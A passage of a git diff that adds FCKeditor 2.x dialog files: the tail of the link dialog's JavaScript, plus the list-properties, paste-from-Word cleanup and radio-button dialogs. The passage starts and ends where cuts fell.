+       }
+
+       // Get Advances Attributes
+       GetE('txtAttId').value                  = oLink.id ;
+       GetE('txtAttName').value                = oLink.name ;
+       GetE('cmbAttLangDir').value             = oLink.dir ;
+       GetE('txtAttLangCode').value    = oLink.lang ;
+       GetE('txtAttAccessKey').value   = oLink.accessKey ;
+       GetE('txtAttTabIndex').value    = oLink.tabIndex <= 0 ? '' : oLink.tabIndex ;
+       GetE('txtAttTitle').value               = oLink.title ;
+       GetE('txtAttContentType').value = oLink.type ;
+       GetE('txtAttCharSet').value             = oLink.charset ;
+
+       var sClass ;
+       if ( oEditor.FCKBrowserInfo.IsIE )
+       {
+               sClass  = oLink.getAttribute('className',2) || '' ;
+               // Clean up temporary classes for internal use:
+               sClass = sClass.replace( FCKRegexLib.FCK_Class, '' ) ;
+
+               GetE('txtAttStyle').value       = oLink.style.cssText ;
+       }
+       else
+       {
+               sClass  = oLink.getAttribute('class',2) || '' ;
+               GetE('txtAttStyle').value       = oLink.getAttribute('style',2) || '' ;
+       }
+       GetE('txtAttClasses').value     = sClass ;
+
+       // Update the Link type combo.
+       GetE('cmbLinkType').value = sType ;
+}
+
+//#### Link type selection.
+function SetLinkType( linkType )
+{
+       ShowE('divLinkTypeUrl'          , (linkType == 'url') ) ;
+       ShowE('divLinkTypeAnchor'       , (linkType == 'anchor') ) ;
+       ShowE('divLinkTypeEMail'        , (linkType == 'email') ) ;
+
+       if ( !FCKConfig.LinkDlgHideTarget )
+               window.parent.SetTabVisibility( 'Target'        , (linkType == 'url') ) ;
+
+       if ( FCKConfig.LinkUpload )
+               window.parent.SetTabVisibility( 'Upload'        , (linkType == 'url') ) ;
+
+       if ( !FCKConfig.LinkDlgHideAdvanced )
+               window.parent.SetTabVisibility( 'Advanced'      , (linkType != 'anchor' || bHasAnchors) ) ;
+
+       if ( linkType == 'email' )
+               window.parent.SetAutoSize( true ) ;
+}
+
+//#### Target type selection.
+function SetTarget( targetType )
+{
+       GetE('tdTargetFrame').style.display     = ( targetType == 'popup' ? 'none' : '' ) ;
+       GetE('tdPopupName').style.display       =
+               GetE('tablePopupFeatures').style.display = ( targetType == 'popup' ? '' : 'none' ) ;
+
+       switch ( targetType )
+       {
+               case "_blank" :
+               case "_self" :
+               case "_parent" :
+               case "_top" :
+                       GetE('txtTargetFrame').value = targetType ;
+                       break ;
+               case "" :
+                       GetE('txtTargetFrame').value = '' ;
+                       break ;
+       }
+
+       if ( targetType == 'popup' )
+               window.parent.SetAutoSize( true ) ;
+}
+
+//#### Called while the user types the URL.
+function OnUrlChange()
+{
+       var sUrl = GetE('txtUrl').value ;
+       var sProtocol = oRegex.UrlOnChangeProtocol.exec( sUrl ) ;
+
+       if ( sProtocol )
+       {
+               sUrl = sUrl.substr( sProtocol[0].length ) ;
+               GetE('txtUrl').value = sUrl ;
+               GetE('cmbLinkProtocol').value = sProtocol[0].toLowerCase() ;
+       }
+       else if ( oRegex.UrlOnChangeTestOther.test( sUrl ) )
+       {
+               GetE('cmbLinkProtocol').value = '' ;
+       }
+}
+
+//#### Called while the user types the target name.
+function OnTargetNameChange()
+{
+       var sFrame = GetE('txtTargetFrame').value ;
+
+       if ( sFrame.length == 0 )
+               GetE('cmbTarget').value = '' ;
+       else if ( oRegex.ReserveTarget.test( sFrame ) )
+               GetE('cmbTarget').value = sFrame.toLowerCase() ;
+       else
+               GetE('cmbTarget').value = 'frame' ;
+}
+
+// Accesible popups
+function BuildOnClickPopup()
+{
+       var sWindowName = "'" + GetE('txtPopupName').value.replace(/\W/gi, "") + "'" ;
+
+       var sFeatures = '' ;
+       var aChkFeatures = document.getElementsByName( 'chkFeature' ) ;
+       for ( var i = 0 ; i < aChkFeatures.length ; i++ )
+       {
+               if ( i > 0 ) sFeatures += ',' ;
+               sFeatures += aChkFeatures[i].value + '=' + ( aChkFeatures[i].checked ? 'yes' : 'no' ) ;
+       }
+
+       if ( GetE('txtPopupWidth').value.length > 0 )   sFeatures += ',width=' + GetE('txtPopupWidth').value ;
+       if ( GetE('txtPopupHeight').value.length > 0 )  sFeatures += ',height=' + GetE('txtPopupHeight').value ;
+       if ( GetE('txtPopupLeft').value.length > 0 )    sFeatures += ',left=' + GetE('txtPopupLeft').value ;
+       if ( GetE('txtPopupTop').value.length > 0 )             sFeatures += ',top=' + GetE('txtPopupTop').value ;
+
+       if ( sFeatures != '' )
+               sFeatures = sFeatures + ",status" ;
+
+       return ( "window.open(this.href," + sWindowName + ",'" + sFeatures + "'); return false" ) ;
+}
+
+//#### Fills all Popup related fields.
+function FillPopupFields( windowName, features )
+{
+       if ( windowName )
+               GetE('txtPopupName').value = windowName ;
+
+       var oFeatures = new Object() ;
+       var oFeaturesMatch ;
+       while( ( oFeaturesMatch = oRegex.PopupFeatures.exec( features ) ) != null )
+       {
+               var sValue = oFeaturesMatch[2] ;
+               if ( sValue == ( 'yes' || '1' ) )
+                       oFeatures[ oFeaturesMatch[1] ] = true ;
+               else if ( ! isNaN( sValue ) && sValue != 0 )
+                       oFeatures[ oFeaturesMatch[1] ] = sValue ;
+       }
+
+       // Update all features check boxes.
+       var aChkFeatures = document.getElementsByName('chkFeature') ;
+       for ( var i = 0 ; i < aChkFeatures.length ; i++ )
+       {
+               if ( oFeatures[ aChkFeatures[i].value ] )
+                       aChkFeatures[i].checked = true ;
+       }
+
+       // Update position and size text boxes.
+       if ( oFeatures['width'] )       GetE('txtPopupWidth').value             = oFeatures['width'] ;
+       if ( oFeatures['height'] )      GetE('txtPopupHeight').value    = oFeatures['height'] ;
+       if ( oFeatures['left'] )        GetE('txtPopupLeft').value              = oFeatures['left'] ;
+       if ( oFeatures['top'] )         GetE('txtPopupTop').value               = oFeatures['top'] ;
+}
+
+//#### The OK button was hit.
+function Ok()
+{
+       var sUri, sInnerHtml ;
+
+       switch ( GetE('cmbLinkType').value )
+       {
+               case 'url' :
+                       sUri = GetE('txtUrl').value ;
+
+                       if ( sUri.length == 0 )
+                       {
+                               alert( FCKLang.DlnLnkMsgNoUrl ) ;
+                               return false ;
+                       }
+
+                       sUri = GetE('cmbLinkProtocol').value + sUri ;
+
+                       break ;
+
+               case 'email' :
+                       sUri = GetE('txtEMailAddress').value ;
+
+                       if ( sUri.length == 0 )
+                       {
+                               alert( FCKLang.DlnLnkMsgNoEMail ) ;
+                               return false ;
+                       }
+
+                       sUri = oParser.CreateEMailUri(
+                               sUri,
+                               GetE('txtEMailSubject').value,
+                               GetE('txtEMailBody').value ) ;
+                       break ;
+
+               case 'anchor' :
+                       var sAnchor = GetE('cmbAnchorName').value ;
+                       if ( sAnchor.length == 0 ) sAnchor = GetE('cmbAnchorId').value ;
+
+                       if ( sAnchor.length == 0 )
+                       {
+                               alert( FCKLang.DlnLnkMsgNoAnchor ) ;
+                               return false ;
+                       }
+
+                       sUri = '#' + sAnchor ;
+                       break ;
+       }
+
+       // No link selected, so try to create one.
+       if ( !oLink )
+               oLink = oEditor.FCK.CreateLink( sUri ) ;
+       
+       if ( oLink )
+               sInnerHtml = oLink.innerHTML ;          // Save the innerHTML (IE changes it if it is like an URL).
+       else
+       {
+               // If no selection, use the uri as the link text (by dom, 2006-05-26)
+
+               sInnerHtml = sUri;
+
+               // Built a better text for empty links.
+               switch ( GetE('cmbLinkType').value )
+               {
+                       // anchor: use old behavior --> return true
+                       case 'anchor':
+                               sInnerHtml = sInnerHtml.replace( /^#/, '' ) ;
+                               break ;
+
+                       // url: try to get path
+                       case 'url':
+                               var oLinkPathRegEx = new RegExp("//?([^?\"']+)([?].*)?$") ;
+                               var asLinkPath = oLinkPathRegEx.exec( sUri ) ;
+                               if (asLinkPath != null)
+                                       sInnerHtml = asLinkPath[1];  // use matched path
+                               break ;
+
+                       // mailto: try to get email address
+                       case 'email':
+                               sInnerHtml = GetE('txtEMailAddress').value ;
+                               break ;
+               }
+
+               // Create a new (empty) anchor.
+               oLink = oEditor.FCK.CreateElement( 'a' ) ;
+       }
+
+       oEditor.FCKUndo.SaveUndoStep() ;
+
+       oLink.href = sUri ;
+       SetAttribute( oLink, '_fcksavedurl', sUri ) ;
+
+       // Accesible popups
+       if( GetE('cmbTarget').value == 'popup' ) 
+       {
+               SetAttribute( oLink, 'onClick_fckprotectedatt', " onClick=\"" + BuildOnClickPopup() + "\"") ;
+       } 
+       else 
+       {
+               // Check if the previous onclick was for a popup:
+               // In that case remove the onclick handler.
+               var onclick = oLink.getAttribute( 'onClick_fckprotectedatt' ) ;
+               if( oRegex.OnClickPopup.test( onclick ) )
+                       SetAttribute( oLink, 'onClick_fckprotectedatt', '' ) ;
+       }
+
+       oLink.innerHTML = sInnerHtml ;          // Set (or restore) the innerHTML
+
+       // Target
+       if( GetE('cmbTarget').value != 'popup' )
+               SetAttribute( oLink, 'target', GetE('txtTargetFrame').value ) ;
+       else
+               SetAttribute( oLink, 'target', null ) ;
+
+       // Advances Attributes
+       SetAttribute( oLink, 'id'               , GetE('txtAttId').value ) ;
+       SetAttribute( oLink, 'name'             , GetE('txtAttName').value ) ;          
+       SetAttribute( oLink, 'dir'              , GetE('cmbAttLangDir').value ) ;
+       SetAttribute( oLink, 'lang'             , GetE('txtAttLangCode').value ) ;
+       SetAttribute( oLink, 'accesskey', GetE('txtAttAccessKey').value ) ;
+       SetAttribute( oLink, 'tabindex' , ( GetE('txtAttTabIndex').value > 0 ? GetE('txtAttTabIndex').value : null ) ) ;
+       SetAttribute( oLink, 'title'    , GetE('txtAttTitle').value ) ;
+       SetAttribute( oLink, 'type'             , GetE('txtAttContentType').value ) ;
+       SetAttribute( oLink, 'charset'  , GetE('txtAttCharSet').value ) ;
+
+       if ( oEditor.FCKBrowserInfo.IsIE )
+       {
+               var sClass = GetE('txtAttClasses').value ;
+               // If it's also an anchor add an internal class
+               if ( GetE('txtAttName').value.length != 0 )
+                       sClass += ' FCK__AnchorC' ;
+               SetAttribute( oLink, 'className', sClass ) ;
+
+               oLink.style.cssText = GetE('txtAttStyle').value ;
+       }
+       else
+       {
+               SetAttribute( oLink, 'class', GetE('txtAttClasses').value ) ;
+               SetAttribute( oLink, 'style', GetE('txtAttStyle').value ) ;
+       }
+
+       // Select the link.
+       oEditor.FCKSelection.SelectNode(oLink);
+       
+       return true ;
+}
+
+function BrowseServer()
+{
+       OpenFileBrowser( FCKConfig.LinkBrowserURL, FCKConfig.LinkBrowserWindowWidth, FCKConfig.LinkBrowserWindowHeight ) ;
+}
+
+function SetUrl( url )
+{
+       document.getElementById('txtUrl').value = url ;
+       OnUrlChange() ;
+       window.parent.SetSelectedTab( 'Info' ) ;
+}
+
+function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
+{
+       switch ( errorNumber )
+       {
+               case 0 :        // No errors
+                       alert( 'Your file has been successfully uploaded' ) ;
+                       break ;
+               case 1 :        // Custom error
+                       alert( customMsg ) ;
+                       return ;
+               case 101 :      // Custom warning
+                       alert( customMsg ) ;
+                       break ;
+               case 201 :
+                       alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
+                       break ;
+               case 202 :
+                       alert( 'Invalid file type' ) ;
+                       return ;
+               case 203 :
+                       alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ;
+                       return ;
+               default :
+                       alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+                       return ;
+       }
+
+       SetUrl( fileUrl ) ;
+       GetE('frmUpload').reset() ;
+}
+
+var oUploadAllowedExtRegex     = new RegExp( FCKConfig.LinkUploadAllowedExtensions, 'i' ) ;
+var oUploadDeniedExtRegex      = new RegExp( FCKConfig.LinkUploadDeniedExtensions, 'i' ) ;
+
+function CheckUpload()
+{
+       var sFile = GetE('txtUploadFile').value ;
+       
+       if ( sFile.length == 0 )
+       {
+               alert( 'Please select a file to upload' ) ;
+               return false ;
+       }
+       
+       if ( ( FCKConfig.LinkUploadAllowedExtensions.length > 0 && !oUploadAllowedExtRegex.test( sFile ) ) ||
+               ( FCKConfig.LinkUploadDeniedExtensions.length > 0 && oUploadDeniedExtRegex.test( sFile ) ) )
+       {
+               OnUploadCompleted( 202 ) ;
+               return false ;
+       }
+       
+       return true ;
+}
diff --git a/fckeditor/editor/dialog/fck_listprop.html b/fckeditor/editor/dialog/fck_listprop.html
new file mode 100755 (executable)
index 0000000..c42ea0c
--- /dev/null
@@ -0,0 +1,121 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_listprop.html
+ *     Bulleted List dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             Marcel J Bennett (start attribute)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta content="noindex, nofollow" name="robots" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+var sListType = ( location.search == '?OL' ? 'OL' : 'UL' ) ;
+
+var oActiveEl = oEditor.FCKSelection.MoveToAncestorNode( sListType ) ;
+var oActiveSel ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( sListType == 'UL' )
+               oActiveSel = GetE('selBulleted') ;
+       else
+       {
+               if ( oActiveEl )
+               {
+                       oActiveSel = GetE('selNumbered') ;
+                       GetE('eStart').style.display = '' ;
+                       GetE('txtStartPosition').value  = GetAttribute( oActiveEl, 'start' ) ;
+               }
+       }
+
+       oActiveSel.style.display = '' ;
+
+       if ( oActiveEl )
+       {
+               if ( oActiveEl.getAttribute('type') )
+                       oActiveSel.value = oActiveEl.getAttribute('type').toLowerCase() ;
+       }
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       if ( oActiveEl ){
+               SetAttribute( oActiveEl, 'type' , oActiveSel.value ) ;
+               if(oActiveEl.tagName == 'OL')
+                       SetAttribute( oActiveEl, 'start', GetE('txtStartPosition').value ) ;
+       }
+
+       return true ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table width="100%" style="height: 100%">
+               <tr>
+                       <td style="text-align:center">
+                               <table cellspacing="0" cellpadding="0" border="0" style="margin-left: auto; margin-right: auto;">
+                                       <tr>
+                                               <td id="eStart" style="display: none; padding-right: 5px; padding-left: 5px">
+                                                       <span fcklang="DlgLstStart">Start</span><br />
+                                                       <input type="text" id="txtStartPosition" size="5" />
+                                               </td>
+                                               <td style="padding-right: 5px; padding-left: 5px">
+                                                       <span fcklang="DlgLstType">List Type</span><br />
+                                                       <select id="selBulleted" style="display: none">
+                                                               <option value="" selected="selected"></option>
+                                                               <option value="circle" fcklang="DlgLstTypeCircle">Circle</option>
+                                                               <option value="disc" fcklang="DlgLstTypeDisc">Disc</option>
+                                                               <option value="square" fcklang="DlgLstTypeSquare">Square</option>
+                                                       </select>
+                                                       <select id="selNumbered" style="display: none">
+                                                               <option value="" selected="selected"></option>
+                                                               <option value="1" fcklang="DlgLstTypeNumbers">Numbers (1, 2, 3)</option>
+                                                               <option value="a" fcklang="DlgLstTypeLCase">Lowercase Letters (a, b, c)</option>
+                                                               <option value="A" fcklang="DlgLstTypeUCase">Uppercase Letters (A, B, C)</option>
+                                                               <option value="i" fcklang="DlgLstTypeSRoman">Small Roman Numerals (i, ii, iii)</option>
+                                                               <option value="I" fcklang="DlgLstTypeLRoman">Large Roman Numerals (I, II, III)</option>
+                                                       </select>
+                                                       &nbsp;
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_paste.html b/fckeditor/editor/dialog/fck_paste.html
new file mode 100755 (executable)
index 0000000..4741cee
--- /dev/null
@@ -0,0 +1,264 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_paste.html
+ *     This dialog is shown when, for some reason (usually security settings), 
+ *     the user is not able to paste data from the clipboard to the editor using 
+ *     the toolbar buttons or the context menu.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <script type="text/javascript">
+var oEditor = window.parent.InnerDialogLoaded() ;
+var FCK = oEditor.FCK;
+var FCKTools   = oEditor.FCKTools ;
+var FCKConfig  = oEditor.FCKConfig ;
+
+window.onload = function ()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+       
+       if ( window.parent.dialogArguments.CustomValue == 'Word' )
+       {
+               var oFrame = document.getElementById('frmData') ;
+               oFrame.style.display = '' ;
+               
+               if ( oFrame.contentDocument ) 
+                       oFrame.contentDocument.designMode = 'on' ;
+               else
+                       oFrame.contentWindow.document.body.contentEditable = true ;
+       }
+       else
+       {
+               document.getElementById('txtData').style.display = '' ;
+               document.getElementById('oWordCommands').style.display = 'none' ;
+       }
+
+       window.parent.SetOkButton( true ) ;     
+       window.parent.SetAutoSize( true ) ;     
+}
+
+function Ok()
+{
+       var sHtml ;
+       
+       if ( window.parent.dialogArguments.CustomValue == 'Word' )
+       {
+               var oFrame = document.getElementById('frmData') ;
+               var oBody ;
+
+               if ( oFrame.contentDocument ) 
+                       oBody = oFrame.contentDocument.body ;
+               else
+                       oBody = oFrame.contentWindow.document.body ;
+
+               // If a plugin creates a FCK.CustomCleanWord function it will be called instead of the default one
+               if ( typeof( FCKTools.CustomCleanWord ) == 'function' )
+                       sHtml = FCK.CustomCleanWord( oBody, document.getElementById('chkRemoveFont').checked, document.getElementById('chkRemoveStyles').checked ) ;
+               else
+                       sHtml = CleanWord( oBody, document.getElementById('chkRemoveFont').checked, document.getElementById('chkRemoveStyles').checked ) ;
+
+
+               // Fix relative anchor URLs (IE automatically adds the current page URL).
+               var re = new RegExp( window.location + "#", "g" ) ;
+               sHtml = sHtml.replace( re, '#') ;
+       }
+       else
+       {
+               sHtml = oEditor.FCKTools.HTMLEncode( document.getElementById('txtData').value )  ;
+               sHtml = sHtml.replace( /\n/g, '<BR>' ) ;
+       }
+       
+       oEditor.FCK.InsertHtml( sHtml ) ;
+       
+       return true ;
+}
+
+function CleanUpBox()
+{
+       var oFrame = document.getElementById('frmData') ;
+       
+       if ( oFrame.contentDocument ) 
+               oFrame.contentDocument.body.innerHTML = '' ;
+       else
+               oFrame.contentWindow.document.body.innerHTML = '' ;
+}
+
+
+// This function will be called from the PasteFromWord dialog (fck_paste.html)
+// Input: oNode a DOM node that contains the raw paste from the clipboard 
+// bIgnoreFont, bRemoveStyles booleans according to the values set in the dialog
+// Output: the cleaned string
+function CleanWord( oNode, bIgnoreFont, bRemoveStyles )
+{
+       var html = oNode.innerHTML ;
+
+       html = html.replace(/<o:p>\s*<\/o:p>/g, '') ;
+       html = html.replace(/<o:p>.*?<\/o:p>/g, '&nbsp;') ;
+       
+       // Remove mso-xxx styles.
+       html = html.replace( /\s*mso-[^:]+:[^;"]+;?/gi, '' ) ;
+
+       // Remove margin styles.
+       html = html.replace( /\s*MARGIN: 0cm 0cm 0pt\s*;/gi, '' ) ;
+       html = html.replace( /\s*MARGIN: 0cm 0cm 0pt\s*"/gi, "\"" ) ;
+
+       html = html.replace( /\s*TEXT-INDENT: 0cm\s*;/gi, '' ) ;
+       html = html.replace( /\s*TEXT-INDENT: 0cm\s*"/gi, "\"" ) ;
+
+       html = html.replace( /\s*TEXT-ALIGN: [^\s;]+;?"/gi, "\"" ) ;
+
+       html = html.replace( /\s*PAGE-BREAK-BEFORE: [^\s;]+;?"/gi, "\"" ) ;
+
+       html = html.replace( /\s*FONT-VARIANT: [^\s;]+;?"/gi, "\"" ) ;
+
+       html = html.replace( /\s*tab-stops:[^;"]*;?/gi, '' ) ;
+       html = html.replace( /\s*tab-stops:[^"]*/gi, '' ) ;
+
+       // Remove FONT face attributes.
+       if ( bIgnoreFont )
+       {
+               html = html.replace( /\s*face="[^"]*"/gi, '' ) ;
+               html = html.replace( /\s*face=[^ >]*/gi, '' ) ;
+
+               html = html.replace( /\s*FONT-FAMILY:[^;"]*;?/gi, '' ) ;
+       }
+       
+       // Remove Class attributes
+       html = html.replace(/<(\w[^>]*) class=([^ |>]*)([^>]*)/gi, "<$1$3") ;
+
+       // Remove styles.
+       if ( bRemoveStyles )
+               html = html.replace( /<(\w[^>]*) style="([^\"]*)"([^>]*)/gi, "<$1$3" ) ;
+
+       // Remove empty styles.
+       html =  html.replace( /\s*style="\s*"/gi, '' ) ;
+       
+       html = html.replace( /<SPAN\s*[^>]*>\s*&nbsp;\s*<\/SPAN>/gi, '&nbsp;' ) ;
+       
+       html = html.replace( /<SPAN\s*[^>]*><\/SPAN>/gi, '' ) ;
+       
+       // Remove Lang attributes
+       html = html.replace(/<(\w[^>]*) lang=([^ |>]*)([^>]*)/gi, "<$1$3") ;
+       
+       html = html.replace( /<SPAN\s*>(.*?)<\/SPAN>/gi, '$1' ) ;
+       
+       html = html.replace( /<FONT\s*>(.*?)<\/FONT>/gi, '$1' ) ;
+
+       // Remove XML elements and declarations
+       html = html.replace(/<\\?\?xml[^>]*>/gi, '' ) ;
+       
+       // Remove Tags with XML namespace declarations: <o:p><\/o:p>
+       html = html.replace(/<\/?\w+:[^>]*>/gi, '' ) ;
+       
+       // Remove comments [SF BUG-1481861].
+       html = html.replace(/<\!--.*-->/g, '' ) ;
+
+       html = html.replace( /<(U|I|STRIKE)>&nbsp;<\/\1>/g, '&nbsp;' ) ;
+
+       html = html.replace( /<H\d>\s*<\/H\d>/gi, '' ) ;
+
+       if ( FCKConfig.CleanWordKeepsStructure )
+       {
+               // The original <Hn> tag send from Word is something like this: <Hn style="margin-top:0px;margin-bottom:0px">
+               html = html.replace( /<H(\d)([^>]*)>/gi, '<h$1>' ) ;
+
+               // Word likes to insert extra <font> tags, when using MSIE. (Wierd).
+               html = html.replace( /<(H\d)><FONT[^>]*>(.*?)<\/FONT><\/\1>/gi, '<$1>$2</$1>' );
+               html = html.replace( /<(H\d)><EM>(.*?)<\/EM><\/\1>/gi, '<$1>$2</$1>' );
+       }
+       else
+       {
+               html = html.replace( /<H1([^>]*)>/gi, '<div$1><b><font size="6">' ) ;
+               html = html.replace( /<H2([^>]*)>/gi, '<div$1><b><font size="5">' ) ;
+               html = html.replace( /<H3([^>]*)>/gi, '<div$1><b><font size="4">' ) ;
+               html = html.replace( /<H4([^>]*)>/gi, '<div$1><b><font size="3">' ) ;
+               html = html.replace( /<H5([^>]*)>/gi, '<div$1><b><font size="2">' ) ;
+               html = html.replace( /<H6([^>]*)>/gi, '<div$1><b><font size="1">' ) ;
+
+               html = html.replace( /<\/H\d>/gi, '<\/font><\/b><\/div>' ) ;
+
+               // Transform <P> to <DIV>
+               var re = new RegExp( '(<P)([^>]*>.*?)(<\/P>)', 'gi' ) ; // Different because of a IE 5.0 error
+               html = html.replace( re, '<div$2<\/div>' ) ;
+
+               // Remove empty tags (three times, just to be sure).
+               // This also removes any empty anchor
+               html = html.replace( /<([^\s>]+)(\s[^>]*)?>\s*<\/\1>/g, '' ) ;
+               html = html.replace( /<([^\s>]+)(\s[^>]*)?>\s*<\/\1>/g, '' ) ;
+               html = html.replace( /<([^\s>]+)(\s[^>]*)?>\s*<\/\1>/g, '' ) ;
+       }
+
+       return html ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table cellspacing="0" cellpadding="0" width="100%" border="0" style="height: 98%">
+               <tr>
+                       <td>
+                               <span fcklang="DlgPasteMsg2">Please paste inside the following box using the keyboard
+                                       (<strong>Ctrl+V</strong>) and hit <strong>OK</strong>.</span>
+                               <br />
+                               &nbsp;
+                       </td>
+               </tr>
+               <tr>
+                       <td valign="top" height="100%" style="border-right: #000000 1px solid; border-top: #000000 1px solid;
+                               border-left: #000000 1px solid; border-bottom: #000000 1px solid">
+                               <textarea id="txtData" cols="80" rows="5" style="border: #000000 1px; display: none;
+                                       width: 99%; height: 98%"></textarea>
+                               <iframe id="frmData" src="javascript:void(0)" height="98%" width="99%" frameborder="0"
+                                       style="border-right: #000000 1px; border-top: #000000 1px; display: none; border-left: #000000 1px;
+                                       border-bottom: #000000 1px; background-color: #ffffff"></iframe>
+                       </td>
+               </tr>
+               <tr id="oWordCommands">
+                       <td>
+                               <table border="0" cellpadding="0" cellspacing="0" width="100%">
+                                       <tr>
+                                               <td nowrap="nowrap">
+                                                       <input id="chkRemoveFont" type="checkbox" checked="checked" />
+                                                       <label for="chkRemoveFont" fcklang="DlgPasteIgnoreFont">
+                                                               Ignore Font Face definitions</label>
+                                                       <br />
+                                                       <input id="chkRemoveStyles" type="checkbox" />
+                                                       <label for="chkRemoveStyles" fcklang="DlgPasteRemoveStyles">
+                                                               Remove Styles definitions</label>
+                                               </td>
+                                               <td align="right" valign="top">
+                                                       <input type="button" fcklang="DlgPasteCleanBox" value="Clean Up Box" onclick="CleanUpBox()" />
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_radiobutton.html b/fckeditor/editor/dialog/fck_radiobutton.html
new file mode 100755 (executable)
index 0000000..f6958f6
--- /dev/null
@@ -0,0 +1,111 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_radiobutton.html
+ *     Radio Button dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Radio Button Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oActiveEl && oActiveEl.tagName.toUpperCase() == 'INPUT' && oActiveEl.type == 'radio' )
+       {
+               GetE('txtName').value           = oActiveEl.name ;
+               GetE('txtValue').value          = oEditor.FCKBrowserInfo.IsIE ? oActiveEl.value : GetAttribute( oActiveEl, 'value' ) ;
+               GetE('txtSelected').checked     = oActiveEl.checked ;
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'INPUT' ) ;
+               oActiveEl.type = 'radio' ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+       }
+
+       if ( GetE('txtName').value.length > 0 )
+               oActiveEl.name = GetE('txtName').value ;
+               
+       if ( oEditor.FCKBrowserInfo.IsIE )
+               oActiveEl.value = GetE('txtValue').value ;
+       else
+               SetAttribute( oActiveEl, 'value', GetE('txtValue').value ) ;
+
+       var bIsChecked = GetE('txtSelected').checked ;
+       SetAttribute( oActiveEl, 'checked', bIsChecked ? 'checked' : null ) ;   // For Firefox
+       oActiveEl.checked = bIsChecked ;
+
+       return true ;
+}
+
+               </script>
+       </head>
+       <body style="OVERFLOW: hidden" scroll="no">
+               <table height="100%" width="100%">
+                       <tr>
+                               <td align="center">
+                                       <table border="0" cellpadding="0" cellspacing="0" width="80%">
+                                               <tr>
+                                                       <td>
